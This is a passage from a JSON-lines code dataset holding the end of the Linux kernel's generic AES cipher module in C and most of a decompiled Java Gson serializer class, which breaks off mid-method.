le32_to_cpu(key[6]);\n\t\tt = ctx->key_enc[7] = le32_to_cpu(key[7]);\n\t\tfor (i = 0; i < 6; ++i)\n\t\t\tloop8(i);\n\t\tloop8tophalf(i);\n\t\tbreak;\n\t}\n\n\tctx->key_dec[0] = ctx->key_enc[key_len + 24];\n\tctx->key_dec[1] = ctx->key_enc[key_len + 25];\n\tctx->key_dec[2] = ctx->key_enc[key_len + 26];\n\tctx->key_dec[3] = ctx->key_enc[key_len + 27];\n\n\tfor (i = 4; i < key_len + 24; ++i) {\n\t\tj = key_len + 24 - (i & ~3) + (i & 3);\n\t\timix_col(ctx->key_dec[j], ctx->key_enc[i]);\n\t}\n\treturn 0;\n}\nEXPORT_SYMBOL_GPL(crypto_aes_expand_key);\n\n/**\n * crypto_aes_set_key - Set the AES key.\n * @tfm:\tThe %crypto_tfm that is used in the context.\n * @in_key:\tThe input key.\n * @key_len:\tThe size of the key.\n *\n * Returns 0 on success, on failure the %CRYPTO_TFM_RES_BAD_KEY_LEN flag in tfm\n * is set. The function uses crypto_aes_expand_key() to expand the key.\n * &crypto_aes_ctx _must_ be the private data embedded in @tfm which is\n * retrieved with crypto_tfm_ctx().\n */\nint crypto_aes_set_key(struct crypto_tfm *tfm, const u8 *in_key,\n\t\tunsigned int key_len)\n{\n\tstruct crypto_aes_ctx *ctx = crypto_tfm_ctx(tfm);\n\tu32 *flags = &tfm->crt_flags;\n\tint ret;\n\n\tret = crypto_aes_expand_key(ctx, in_key, key_len);\n\tif (!ret)\n\t\treturn 0;\n\n\t*flags |= CRYPTO_TFM_RES_BAD_KEY_LEN;\n\treturn -EINVAL;\n}\nEXPORT_SYMBOL_GPL(crypto_aes_set_key);\n\n/* encrypt a block of text */\n\n#define f_rn(bo, bi, n, k)\tdo {\t\t\t\t\\\n\tbo[n] = crypto_ft_tab[0][byte(bi[n], 0)] ^\t\t\t\\\n\t\tcrypto_ft_tab[1][byte(bi[(n + 1) & 3], 1)] ^\t\t\\\n\t\tcrypto_ft_tab[2][byte(bi[(n + 2) & 3], 2)] ^\t\t\\\n\t\tcrypto_ft_tab[3][byte(bi[(n + 3) & 3], 3)] ^ *(k + n);\t\\\n} while (0)\n\n#define f_nround(bo, bi, k)\tdo {\\\n\tf_rn(bo, bi, 0, k);\t\\\n\tf_rn(bo, bi, 1, k);\t\\\n\tf_rn(bo, bi, 2, k);\t\\\n\tf_rn(bo, bi, 3, k);\t\\\n\tk += 4;\t\t\t\\\n} while (0)\n\n#define f_rl(bo, bi, n, k)\tdo {\t\t\t\t\\\n\tbo[n] = crypto_fl_tab[0][byte(bi[n], 0)] ^\t\t\t\\\n\t\tcrypto_fl_tab[1][byte(bi[(n + 1) & 3], 1)] ^\t\t\\\n\t\tcrypto_fl_tab[2][byte(bi[(n + 2) & 3], 2)] ^\t\t\\\n\t\tcrypto_fl_tab[3][byte(bi[(n + 3) & 3], 3)] ^ *(k + n);\t\\\n} while (0)\n\n#define f_lround(bo, bi, k)\tdo {\\\n\tf_rl(bo, bi, 0, k);\t\\\n\tf_rl(bo, bi, 1, k);\t\\\n\tf_rl(bo, bi, 2, k);\t\\\n\tf_rl(bo, bi, 3, k);\t\\\n} while (0)\n\nstatic void aes_encrypt(struct crypto_tfm *tfm, u8 *out, const u8 *in)\n{\n\tconst struct crypto_aes_ctx *ctx = crypto_tfm_ctx(tfm);\n\tconst __le32 *src = (const __le32 *)in;\n\t__le32 *dst = (__le32 *)out;\n\tu32 b0[4], b1[4];\n\tconst u32 *kp = ctx->key_enc + 4;\n\tconst int key_len = ctx->key_length;\n\n\tb0[0] = le32_to_cpu(src[0]) ^ ctx->key_enc[0];\n\tb0[1] = le32_to_cpu(src[1]) ^ ctx->key_enc[1];\n\tb0[2] = le32_to_cpu(src[2]) ^ ctx->key_enc[2];\n\tb0[3] = le32_to_cpu(src[3]) ^ ctx->key_enc[3];\n\n\tif (key_len > 24) {\n\t\tf_nround(b1, b0, kp);\n\t\tf_nround(b0, b1, kp);\n\t}\n\n\tif (key_len > 16) {\n\t\tf_nround(b1, b0, kp);\n\t\tf_nround(b0, b1, kp);\n\t}\n\n\tf_nround(b1, b0, kp);\n\tf_nround(b0, b1, kp);\n\tf_nround(b1, b0, kp);\n\tf_nround(b0, b1, kp);\n\tf_nround(b1, b0, kp);\n\tf_nround(b0, b1, kp);\n\tf_nround(b1, b0, kp);\n\tf_nround(b0, b1, kp);\n\tf_nround(b1, b0, kp);\n\tf_lround(b0, b1, kp);\n\n\tdst[0] = cpu_to_le32(b0[0]);\n\tdst[1] = cpu_to_le32(b0[1]);\n\tdst[2] = cpu_to_le32(b0[2]);\n\tdst[3] = cpu_to_le32(b0[3]);\n}\n\n/* decrypt a block of text */\n\n#define i_rn(bo, bi, n, k)\tdo {\t\t\t\t\\\n\tbo[n] = crypto_it_tab[0][byte(bi[n], 0)] ^\t\t\t\\\n\t\tcrypto_it_tab[1][byte(bi[(n + 3) & 3], 1)] ^\t\t\\\n\t\tcrypto_it_tab[2][byte(bi[(n + 2) & 3], 2)] ^\t\t\\\n\t\tcrypto_it_tab[3][byte(bi[(n + 1) & 3], 3)] ^ *(k + n);\t\\\n} while (0)\n\n#define i_nround(bo, bi, k)\tdo {\\\n\ti_rn(bo, bi, 0, k);\t\\\n\ti_rn(bo, bi, 1, k);\t\\\n\ti_rn(bo, bi, 2, k);\t\\\n\ti_rn(bo, bi, 3, k);\t\\\n\tk += 4;\t\t\t\\\n} while (0)\n\n#define i_rl(bo, bi, n, k)\tdo {\t\t\t\\\n\tbo[n] = crypto_il_tab[0][byte(bi[n], 0)] ^\t\t\\\n\tcrypto_il_tab[1][byte(bi[(n + 3) & 3], 1)] ^\t\t\\\n\tcrypto_il_tab[2][byte(bi[(n + 2) & 3], 2)] ^\t\t\\\n\tcrypto_il_tab[3][byte(bi[(n + 1) & 3], 3)] ^ *(k + n);\t\\\n} while (0)\n\n#define i_lround(bo, bi, k)\tdo {\\\n\ti_rl(bo, bi, 0, k);\t\\\n\ti_rl(bo, bi, 1, k);\t\\\n\ti_rl(bo, bi, 2, k);\t\\\n\ti_rl(bo, bi, 3, k);\t\\\n} while (0)\n\nstatic void aes_decrypt(struct crypto_tfm *tfm, u8 *out, const u8 *in)\n{\n\tconst struct crypto_aes_ctx *ctx = crypto_tfm_ctx(tfm);\n\tconst __le32 *src = (const __le32 *)in;\n\t__le32 *dst = (__le32 *)out;\n\tu32 b0[4], b1[4];\n\tconst int key_len = ctx->key_length;\n\tconst u32 *kp = ctx->key_dec + 4;\n\n\tb0[0] = le32_to_cpu(src[0]) ^ ctx->key_dec[0];\n\tb0[1] = le32_to_cpu(src[1]) ^ ctx->key_dec[1];\n\tb0[2] = le32_to_cpu(src[2]) ^ ctx->key_dec[2];\n\tb0[3] = le32_to_cpu(src[3]) ^ ctx->key_dec[3];\n\n\tif (key_len > 24) {\n\t\ti_nround(b1, b0, kp);\n\t\ti_nround(b0, b1, kp);\n\t}\n\n\tif (key_len > 16) {\n\t\ti_nround(b1, b0, kp);\n\t\ti_nround(b0, b1, kp);\n\t}\n\n\ti_nround(b1, b0, kp);\n\ti_nround(b0, b1, kp);\n\ti_nround(b1, b0, kp);\n\ti_nround(b0, b1, kp);\n\ti_nround(b1, b0, kp);\n\ti_nround(b0, b1, kp);\n\ti_nround(b1, b0, kp);\n\ti_nround(b0, b1, kp);\n\ti_nround(b1, b0, kp);\n\ti_lround(b0, b1, kp);\n\n\tdst[0] = cpu_to_le32(b0[0]);\n\tdst[1] = cpu_to_le32(b0[1]);\n\tdst[2] = cpu_to_le32(b0[2]);\n\tdst[3] = cpu_to_le32(b0[3]);\n}\n\nstatic struct crypto_alg aes_alg = {\n\t.cra_name\t\t=\t\"aes\",\n\t.cra_driver_name\t=\t\"aes-generic\",\n\t.cra_priority\t\t=\t100,\n\t.cra_flags\t\t=\tCRYPTO_ALG_TYPE_CIPHER,\n\t.cra_blocksize\t\t=\tAES_BLOCK_SIZE,\n\t.cra_ctxsize\t\t=\tsizeof(struct crypto_aes_ctx),\n\t.cra_alignmask\t\t=\t3,\n\t.cra_module\t\t=\tTHIS_MODULE,\n\t.cra_list\t\t=\tLIST_HEAD_INIT(aes_alg.cra_list),\n\t.cra_u\t\t\t=\t{\n\t\t.cipher = {\n\t\t\t.cia_min_keysize\t=\tAES_MIN_KEY_SIZE,\n\t\t\t.cia_max_keysize\t=\tAES_MAX_KEY_SIZE,\n\t\t\t.cia_setkey\t\t=\tcrypto_aes_set_key,\n\t\t\t.cia_encrypt\t\t=\taes_encrypt,\n\t\t\t.cia_decrypt\t\t=\taes_decrypt\n\t\t}\n\t}\n};\n\nstatic int __init aes_init(void)\n{\n\treturn crypto_register_alg(&aes_alg);\n}\n\nstatic void __exit aes_fini(void)\n{\n\tcrypto_unregister_alg(&aes_alg);\n}\n\nmodule_init(aes_init);\nmodule_exit(aes_fini);\n\nMODULE_DESCRIPTION(\"Rijndael (AES) Cipher Algorithm\");\nMODULE_LICENSE(\"Dual BSD/GPL\");\nMODULE_ALIAS(\"aes\");\n"} {"text": "package com.huawei.gson;\n\nimport com.huawei.gson.internal.ConstructorConstructor;\nimport com.huawei.gson.internal.Excluder;\nimport com.huawei.gson.internal.Primitives;\nimport com.huawei.gson.internal.Streams;\nimport com.huawei.gson.internal.bind.ArrayTypeAdapter;\nimport com.huawei.gson.internal.bind.CollectionTypeAdapterFactory;\nimport com.huawei.gson.internal.bind.DateTypeAdapter;\nimport com.huawei.gson.internal.bind.JsonAdapterAnnotationTypeAdapterFactory;\nimport com.huawei.gson.internal.bind.JsonTreeReader;\nimport com.huawei.gson.internal.bind.JsonTreeWriter;\nimport com.huawei.gson.internal.bind.MapTypeAdapterFactory;\nimport com.huawei.gson.internal.bind.ObjectTypeAdapter;\nimport com.huawei.gson.internal.bind.ReflectiveTypeAdapterFactory;\nimport com.huawei.gson.internal.bind.SqlDateTypeAdapter;\nimport com.huawei.gson.internal.bind.TimeTypeAdapter;\nimport com.huawei.gson.internal.bind.TypeAdapters;\nimport com.huawei.gson.reflect.TypeToken;\nimport com.huawei.gson.stream.JsonReader;\nimport com.huawei.gson.stream.JsonToken;\nimport com.huawei.gson.stream.JsonWriter;\nimport com.huawei.gson.stream.MalformedJsonException;\nimport java.io.EOFException;\nimport java.io.IOException;\nimport java.io.Reader;\nimport java.io.StringReader;\nimport java.io.StringWriter;\nimport java.io.Writer;\nimport java.lang.reflect.Type;\nimport java.math.BigDecimal;\nimport java.math.BigInteger;\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.atomic.AtomicLong;\nimport java.util.concurrent.atomic.AtomicLongArray;\n\npublic final class Gson {\n static final boolean DEFAULT_COMPLEX_MAP_KEYS = false;\n static final boolean DEFAULT_ESCAPE_HTML = true;\n static final boolean DEFAULT_JSON_NON_EXECUTABLE = false;\n static final boolean DEFAULT_LENIENT = false;\n static final boolean DEFAULT_PRETTY_PRINT = false;\n static final boolean DEFAULT_SERIALIZE_NULLS = false;\n static final boolean DEFAULT_SPECIALIZE_FLOAT_VALUES = false;\n private static final String JSON_NON_EXECUTABLE_PREFIX = \")]}'\\n\";\n private static final TypeToken<?> NULL_KEY_SURROGATE = TypeToken.get(Object.class);\n final List<TypeAdapterFactory> builderFactories;\n final List<TypeAdapterFactory> builderHierarchyFactories;\n private final ThreadLocal<Map<TypeToken<?>, FutureTypeAdapter<?>>> calls;\n final boolean complexMapKeySerialization;\n private final ConstructorConstructor constructorConstructor;\n final String datePattern;\n final int dateStyle;\n final Excluder excluder;\n final List<TypeAdapterFactory> factories;\n final FieldNamingStrategy fieldNamingStrategy;\n final boolean generateNonExecutableJson;\n final boolean htmlSafe;\n final Map<Type, InstanceCreator<?>> instanceCreators;\n private final JsonAdapterAnnotationTypeAdapterFactory jsonAdapterFactory;\n final boolean lenient;\n final LongSerializationPolicy longSerializationPolicy;\n final boolean prettyPrinting;\n final boolean serializeNulls;\n final boolean serializeSpecialFloatingPointValues;\n final int timeStyle;\n private final Map<TypeToken<?>, TypeAdapter<?>> typeTokenCache;\n\n public Gson() {\n this(Excluder.DEFAULT, FieldNamingPolicy.IDENTITY, Collections.emptyMap(), false, false, false, true, false, false, false, LongSerializationPolicy.DEFAULT, null, 2, 2, Collections.emptyList(), Collections.emptyList(), Collections.emptyList());\n }\n\n Gson(Excluder excluder2, FieldNamingStrategy fieldNamingStrategy2, Map<Type, InstanceCreator<?>> instanceCreators2, boolean serializeNulls2, boolean complexMapKeySerialization2, boolean generateNonExecutableGson, boolean htmlSafe2, boolean prettyPrinting2, boolean lenient2, boolean serializeSpecialFloatingPointValues2, LongSerializationPolicy longSerializationPolicy2, String datePattern2, int dateStyle2, int timeStyle2, List<TypeAdapterFactory> builderFactories2, List<TypeAdapterFactory> builderHierarchyFactories2, List<TypeAdapterFactory> factoriesToBeAdded) {\n this.calls = new ThreadLocal<>();\n this.typeTokenCache = new ConcurrentHashMap();\n this.excluder = excluder2;\n this.fieldNamingStrategy = fieldNamingStrategy2;\n this.instanceCreators = instanceCreators2;\n this.constructorConstructor = new ConstructorConstructor(instanceCreators2);\n this.serializeNulls = serializeNulls2;\n this.complexMapKeySerialization = complexMapKeySerialization2;\n this.generateNonExecutableJson = generateNonExecutableGson;\n this.htmlSafe = htmlSafe2;\n this.prettyPrinting = prettyPrinting2;\n this.lenient = lenient2;\n this.serializeSpecialFloatingPointValues = serializeSpecialFloatingPointValues2;\n this.longSerializationPolicy = longSerializationPolicy2;\n this.datePattern = datePattern2;\n this.dateStyle = dateStyle2;\n this.timeStyle = timeStyle2;\n this.builderFactories = builderFactories2;\n this.builderHierarchyFactories = builderHierarchyFactories2;\n List<TypeAdapterFactory> factories2 = new ArrayList<>();\n factories2.add(TypeAdapters.JSON_ELEMENT_FACTORY);\n factories2.add(ObjectTypeAdapter.FACTORY);\n factories2.add(excluder2);\n factories2.addAll(factoriesToBeAdded);\n factories2.add(TypeAdapters.STRING_FACTORY);\n factories2.add(TypeAdapters.INTEGER_FACTORY);\n factories2.add(TypeAdapters.BOOLEAN_FACTORY);\n factories2.add(TypeAdapters.BYTE_FACTORY);\n factories2.add(TypeAdapters.SHORT_FACTORY);\n TypeAdapter<Number> longAdapter = longAdapter(longSerializationPolicy2);\n factories2.add(TypeAdapters.newFactory(Long.TYPE, Long.class, longAdapter));\n factories2.add(TypeAdapters.newFactory(Double.TYPE, Double.class, doubleAdapter(serializeSpecialFloatingPointValues2)));\n factories2.add(TypeAdapters.newFactory(Float.TYPE, Float.class, floatAdapter(serializeSpecialFloatingPointValues2)));\n factories2.add(TypeAdapters.NUMBER_FACTORY);\n factories2.add(TypeAdapters.ATOMIC_INTEGER_FACTORY);\n factories2.add(TypeAdapters.ATOMIC_BOOLEAN_FACTORY);\n factories2.add(TypeAdapters.newFactory(AtomicLong.class, atomicLongAdapter(longAdapter)));\n factories2.add(TypeAdapters.newFactory(AtomicLongArray.class, atomicLongArrayAdapter(longAdapter)));\n factories2.add(TypeAdapters.ATOMIC_INTEGER_ARRAY_FACTORY);\n factories2.add(TypeAdapters.CHARACTER_FACTORY);\n factories2.add(TypeAdapters.STRING_BUILDER_FACTORY);\n factories2.add(TypeAdapters.STRING_BUFFER_FACTORY);\n factories2.add(TypeAdapters.newFactory(BigDecimal.class, TypeAdapters.BIG_DECIMAL));\n factories2.add(TypeAdapters.newFactory(BigInteger.class, TypeAdapters.BIG_INTEGER));\n factories2.add(TypeAdapters.URL_FACTORY);\n factories2.add(TypeAdapters.URI_FACTORY);\n factories2.add(TypeAdapters.UUID_FACTORY);\n factories2.add(TypeAdapters.CURRENCY_FACTORY);\n factories2.add(TypeAdapters.LOCALE_FACTORY);\n factories2.add(TypeAdapters.INET_ADDRESS_FACTORY);\n factories2.add(TypeAdapters.BIT_SET_FACTORY);\n factories2.add(DateTypeAdapter.FACTORY);\n factories2.add(TypeAdapters.CALENDAR_FACTORY);\n factories2.add(TimeTypeAdapter.FACTORY);\n factories2.add(SqlDateTypeAdapter.FACTORY);\n factories2.add(TypeAdapters.TIMESTAMP_FACTORY);\n factories2.add(ArrayTypeAdapter.FACTORY);\n factories2.add(TypeAdapters.CLASS_FACTORY);\n factories2.add(new CollectionTypeAdapterFactory(this.constructorConstructor));\n factories2.add(new MapTypeAdapterFactory(this.constructorConstructor, complexMapKeySerialization2));\n this.jsonAdapterFactory = new JsonAdapterAnnotationTypeAdapterFactory(this.constructorConstructor);\n factories2.add(this.jsonAdapterFactory);\n factories2.add(TypeAdapters.ENUM_FACTORY);\n factories2.add(new ReflectiveTypeAdapterFactory(this.constructorConstructor, fieldNamingStrategy2, excluder2, this.jsonAdapterFactory));\n this.factories = Collections.unmodifiableList(factories2);\n }\n\n public GsonBuilder newBuilder() {\n return new GsonBuilder(this);\n }\n\n public Excluder excluder() {\n return this.excluder;\n }\n\n public FieldNamingStrategy fieldNamingStrategy() {\n return this.fieldNamingStrategy;\n }\n\n public boolean serializeNulls() {\n return this.serializeNulls;\n }\n\n public boolean htmlSafe() {\n return this.htmlSafe;\n }\n\n private TypeAdapter<Number> doubleAdapter(boolean serializeSpecialFloatingPointValues2) {\n if (serializeSpecialFloatingPointValues2) {\n return TypeAdapters.DOUBLE;\n }\n return new TypeAdapter<Number>() {\n /* class com.huawei.gson.Gson.AnonymousClass1 */\n\n /* Return type fixed from 'java.lang.Double' to match base method */\n @Override // com.huawei.gson.TypeAdapter\n public Number read(JsonReader in) throws IOException {\n if (in.peek() != JsonToken.NULL) {\n return Double.valueOf(in.nextDouble());\n }\n in.nextNull();\n return null;\n }\n\n public void write(JsonWriter out, Number value) throws IOException {\n if (value == null) {\n out.nullValue();\n return;\n }\n Gson.checkValidFloatingPoint(value.doubleValue());\n out.value(value);\n }\n };\n }\n\n private TypeAdapter<Number> floatAdapter(boolean serializeSpecialFloatingPointValues2) {\n if (serializeSpecialFloatingPointValues2) {\n return TypeAdapters.FLOAT;\n }\n return new TypeAdapter<Number>() {\n /* class com.huawei.gson.Gson.AnonymousClass2 */\n\n /* Return type fixed from 'java.lang.Float' to match base method */\n @Override // com.huawei.gson.TypeAdapter\n public Number read(JsonReader in) throws IOException {\n if (in.peek() != JsonToken.NULL) {\n return Float.valueOf((float) in.nextDouble());\n }\n in.nextNull();\n return null;\n }\n\n public void write(JsonWriter out, Number value) throws IOException {\n if (value == null) {\n out.nullValue();\n return;\n }\n Gson.checkValidFloatingPoint((double) value.floatValue());\n out.value(value);\n }\n };\n }\n\n static void checkValidFloatingPoint(double value) {\n if (Double.isNaN(value) || Double.isInfinite(value)) {\n throw new IllegalArgumentException(value + \" is not a valid double value as per JSON specification. To override this behavior, use GsonBuilder.serializeSpecialFloatingPointValues() method.\");\n }\n }\n\n private static TypeAdapter<Number> longAdapter(LongSerializationPolicy longSerializationPolicy2) {\n if (longSerializationPolicy2 == LongSerializationPolicy.DEFAULT) {\n return TypeAdapters.LONG;\n }\n return new TypeAdapter<Number>() {\n /* class com.huawei.gson.Gson.AnonymousClass3 */\n\n @Override // com.huawei.gson.TypeAdapter\n public Number read(JsonReader in) throws IOException {\n if (in.peek() != JsonToken.NULL) {\n return Long.valueOf(in.nextLong());\n }\n in.nextNull();\n return null;\n }\n\n public void write(JsonWriter out, Number value) throws IOException {\n if (value == null) {\n out.nullValue();\n } else {\n out.value(value.toString());\n }\n }\n };\n }\n\n private static TypeAdapter<AtomicLong> atomicLongAdapter(final TypeAdapter<Number> longAdapter) {\n return new TypeAdapter<AtomicLong>() {\n /* class com.huawei.gson.Gson.AnonymousClass4 */\n\n public void write(JsonWriter out, AtomicLong value) throws IOException {\n longAdapter.write(out, Long.valueOf(value.get()));\n }\n\n @Override // com.huawei.gson.TypeAdapter\n public AtomicLong read(JsonReader in) throws IOException {\n return new AtomicLong(((Number) longAdapter.read(in)).longValue());\n }\n }.nullSafe();\n }\n\n private static TypeAdapter<AtomicLongArray> atomicLongArrayAdapter(final TypeAdapter<Number> longAdapter) {\n return new TypeAdapter<AtomicLongArray>() {\n /* class com.huawei.gson.Gson.AnonymousClass5 */\n\n public void write(JsonWriter out, AtomicLongArray value) throws IOException {\n out.beginArray();\n int length = value.length();\n for (int i = 0; i < length; i++) {\n longAdapter.write(out, Long.valueOf(value.get(i)));\n }\n out.endArray();\n }\n\n @Override // com.huawei.gson.TypeAdapter\n public AtomicLongArray read(JsonReader in) throws IOException {\n List<Long> list = new ArrayList<>();\n in.beginArray();\n while (in.hasNext()) {\n list.add(Long.valueOf(((Number) longAdapter.read(in)).longValue()));\n }\n in.endArray();\n int length = list.size();\n AtomicLongArray array = new AtomicLongArray(length);\n for (int i = 0; i < length; i++) {\n array.set(i, list.get(i).longValue());\n }\n return array;\n }\n }.nullSafe();\n }\n\n /* JADX DEBUG: Multi-variable search result rejected for r9v0, resolved type: com.huawei.gson.reflect.TypeToken<T> */\n /* JADX DEBUG: Multi-variable search result rejected for r4v1, resolved type: com.huawei.gson.Gson$FutureTypeAdapter<?> */\n /* JADX DEBUG: Multi-variable search result rejected for r5v4, resolved type: java.util.Map<com.huawei.gson.reflect.TypeToken<?>, com.huawei.gson.TypeAdapter<?>> */\n /* JADX WARN: Multi-variable type inference failed */\n /* JADX DEBUG: Type inference failed for r7v1. Raw type applied. Possible types: com.huawei.gson.TypeAdapter<T>, com.huawei.gson.TypeAdapter<?> */\n public <T> TypeAdapter<T> getAdapter(TypeToken<T> type) {\n TypeAdapter<T> typeAdapter = (TypeAdapter<T>) this.typeTokenCache.get(type == null ? NULL_KEY_SURROGATE : type);\n if (typeAdapter != null) {\n return typeAdapter;\n }\n Map<TypeToken<?>, FutureTypeAdapter<?>> threadCalls = this.calls.get();\n boolean requiresThreadLocalCleanup = false;\n if (threadCalls == null) {\n threadCalls = new HashMap<>();\n this.calls.set(threadCalls);\n requiresThreadLocalCleanup = true;\n }\n FutureTypeAdapter<?> futureTypeAdapter = threadCalls.get(type);\n if (futureTypeAdapter != null) {\n return futureTypeAdapter;\n }\n try {\n FutureTypeAdapter<?> futureTypeAdapter2 = new FutureTypeAdapter<>();\n threadCalls.put(type, futureTypeAdapter2);\n for (TypeAdapterFactory factory : this.factories) {\n TypeAdapter typeAdapter2 = (TypeAdapter<T>) factory.create(this, type);\n if (typeAdapter2 != null) {\n futureTypeAdapter2.setDelegate(typeAdapter2);\n this.typeTokenCache.put(type, typeAdapter2);\n return typeAdapter2;\n }\n }\n throw new IllegalArgumentException(\"GSON (2.8.5) cannot handle \" + type);\n } finally {\n threadCalls.remove(type);\n if (requiresThreadLocalCleanup) {\n this.calls.remove();\n }\n }\n }\n\n public <T> TypeAdapter<T> getDelegateAdapter(TypeAdapterFactory skipPast, TypeToken<T> type) {\n if (!this.factories.contains(skipPast)) {\n skipPast = this.jsonAdapterFactory;\n }\n boolean skipPastFound = false;\n for (TypeAdapterFactory factory : this.factories) {\n if (skipPastFound) {\n TypeAdapter<T> candidate = factory.create(this, type);\n if (candidate != null) {\n return candidate;\n }\n } else if (factory == skipPast) {\n skipPastFound = true;\n }\n }\n throw new IllegalArgumentException(\"GSON cannot serialize \" + type);\n }\n\n public <T> TypeAdapter<T> getAdapter(Class<T> type) {\n return getAdapter(TypeToken.get((Class) type));\n }\n\n public JsonElement toJsonTree(Object src) {\n if (src == null) {\n return JsonNull.INSTANCE;\n }\n return toJsonTree(src, src.getClass());\n }\n\n public JsonElement toJsonTree(Object src, Type typeOfSrc) {\n JsonTreeWriter writer = new JsonTreeWriter();\n toJson(src, typeOfSrc, writer);\n return writer.get();\n }\n\n public String toJson(Object src) {\n if (src == null) {\n return toJson((JsonElement) JsonNull.INSTANCE);\n }\n return toJson(src, src.getClass());\n }\n\n public String toJson(Object src, Type typeOfSrc) {\n StringWriter writer = new StringWriter();\n toJson(src, typeOfSrc, writer);\n return writer.toString();\n }\n\n public void toJson(Object src, Appendable writer) throws JsonIOException {\n if (src != null) {\n toJson(src, src.getClass(), writer);\n } else {\n toJson((JsonElement) JsonNull.INSTANCE, writer);\n }\n }\n\n public void toJson(Object src, Type typeOfSrc, Appendable writer) throws JsonIOException {\n try {\n toJson(src, typeOfSrc, newJsonWriter(Streams.writerForAppendable(writer)));\n } catch (IOException e) {\n throw new JsonIOException(e);\n }\n }\n\n public void toJson(Object src, Type typeOfSrc, JsonWriter writer) throws JsonIOException {\n TypeAdapter<?> adapter = getAdapter(TypeToken.get(typeOfSrc));\n boolean oldLenient = writer.isLenient();\n writer.setLenient(true);\n boolean oldHtmlSafe = writer.isHtmlSafe();\n writer.setHtmlSafe(this.htmlSafe);\n boolean oldSerializeNulls = writer.getSerializeNulls();\n writer.setSerializeNulls(this.serializeNulls);\n try {\n adapter.write(writer, src);\n writer.setLenient(oldLenient);\n writer.setHtmlSafe(oldHtmlSafe);\n writer.setSerializeNulls(oldSerializeNulls);\n } catch (IOException e) {\n throw new JsonIOException(e);\n } catch (AssertionError e2) {\n throw new AssertionError(\"AssertionError (GSON 2.8.5): \" + e2.getMessage(), e2);\n } catch (Throwable th) {\n writer.setLenient(oldLenient);\n writer.setHtmlSafe(oldHtmlSafe);\n writer.setSerializeNulls(oldSerializeNulls);\n throw th;\n }\n }\n\n public String toJson(JsonElement jsonElement) {\n StringWriter writer = new StringWriter();\n toJson(jsonElement, (Appendable) writer);\n return writer.toString();\n }\n\n public void toJson(JsonElement jsonElement, Appendable writer) throws JsonIOException {\n try {\n toJson(jsonElement, newJsonWriter(Streams.writerForAppendable(writer)));\n } catch (IOException e) {\n throw new JsonIOException(e);\n }\n }\n\n public JsonWriter newJsonWriter(Writer writer) throws IOException {\n if (this.generateNonExecutableJson) {\n writer.write(JSON_NON_EXECUTABLE_PREFIX);\n }\n JsonWriter jsonWriter = new JsonWriter(writer);\n if (this.prettyPrinting) {\n jsonWriter.setIndent(\" \");\n }\n jsonWriter.setSerializeNulls(this.serializeNulls);\n return jsonWriter;\n }\n\n public JsonReader newJsonReader(Reader reader) {\n JsonReader jsonReader = new JsonReader(reader);\n jsonReader.setLenient(this.lenient);\n return jsonReader;\n }\n\n public void toJson(JsonElement jsonElement, JsonWriter writer) throws JsonIOException {\n boolean oldLenient = writer.isLenient();\n writer.setLenient(true);\n boolean oldHtmlSafe = writer.isHtmlSafe();\n writer.setHtmlSafe(this.htmlSafe);\n boolean oldSerializeNulls = writer.getSerializeNulls();\n writer.setSerializeNulls(this.serializeNulls);\n try {\n Streams.write(jsonElement, writer);\n writer.setLenient(oldLenient);\n writer.setHtmlSafe(oldHtmlSafe);\n writer.setSerializeNulls(oldSerializeNulls);\n } catch (IOException e) {\n throw new JsonIOException(e);\n } catch (AssertionError e2) {\n throw new AssertionError(\"AssertionError (GSON 2.8.5): \" + e2.getMessage(), e2);\n } catch (Throwable th) {\n writer.setLenient(oldLenient);\n writer.setHtmlSafe(oldHtmlSafe);\n writer.setSerializeNulls(oldSerializeNulls);\n throw th;\n }\n }\n\n public <T> T fromJson(String json, Class<T> classOfT) throws JsonSyntaxException {\n return (T) Primitives.wrap(classOfT).cast(fromJson(json, (Type) classOfT));\n }\n\n public <T> T fromJson(String json, Type typeOfT) throws JsonSyntaxException {\n if (json == null) {\n return null;\n }\n return (T) fromJson(new StringReader(json), typeOfT);\n }\n\n public <T> T fromJson(Reader json, Class<T> classOfT) throws JsonSyntaxException, JsonIOException {\n JsonReader jsonReader = newJsonReader(json);\n Object object = fromJson(jsonReader, classOfT);\n assertFullConsumption(object, jsonReader);\n return (T) Primitives.wrap(classOfT).cast(object);\n }\n\n public <T> T fromJson(Reader json, Type typeOfT) throws JsonIOException, JsonSyntaxException {\n JsonReader jsonReader = newJsonReader(json);\n T object = (T) fromJson(jsonReader, typeOfT);\n assertFullConsumption(object, jsonReader);\n return object;\n }\n\n private static void assertFullConsumption(Object obj, JsonReader reader) {\n if (obj != null) {\n try {\n if (reader.peek() != JsonToken.END_DOCUMENT) {\n throw new JsonIOException(\"JSON document was not fully consumed.\");\n }\n } catch (MalformedJsonException e) {\n throw new JsonSyntaxException(e);\n } catch (IOException e2) {\n throw new JsonIOException(e2);\n }\n }\n }\n\n public <T> T fromJson(JsonReader reader, Type typeOfT) throws JsonIOException, JsonSyntaxException {\n boolean isEmpty = true;\n boolean oldLenient = reader.isLenient();\n reader.setLenient(true);\n try {\n reader.peek();\n isEmpty = false;\n T object = getAdapter(TypeToken.get(typeOfT)).read(reader);\n reader.setLenient(oldLenient);\n return object;\n } catch (EOFException e) {\n if (isEmpty) {\n reader.setLenient(oldLenient);\n return null;\n }\n throw new JsonSyntaxException(e);\n } catch (IllegalStateException e2) {\n throw new JsonSyntaxException(e2);\n } catch (IOException e3) {\n throw new JsonSyntaxException(e3);\n } catch (AssertionError e4) {\n throw new AssertionError(\"AssertionError (GSON 2.8.5): \" + e4.getMessage(), e4);\n } catch (Throwable th) {\n reader.setLenient(oldLenient);\n throw th;\n }\n }\n\n public <T> T fromJson(JsonElement json, Class<T> classOfT) throws JsonSyntaxException {\n return (T) Primitives.wrap(classOfT).cast(fromJson(json, (Type) classOfT));\n }\n\n public <T> T fromJson(JsonElement json, Type typeOfT) throws JsonSyntaxException {\n if (json == null) {\n return null;\n }\n return (T) fromJson(new JsonTreeReader(json), typeOfT);\n }\n\n /* access modifiers changed from: package-private */\n public static class FutureTypeAdapter<T> extends TypeAdapter<T> {\n private TypeAdapter<T> delegate;\n\n FutureTypeAdapter() {\n }\n\n public void setDelegate(TypeAdapter<T> typeAdapter) {\n if (this.delegate == null) {\n this.delegate = typeAdapter;\n return;\n }\n throw new AssertionError();\n }\n\n @Override // com.huawei.gson.TypeAdapter\n public T read(JsonReader in) throws IOException {\n 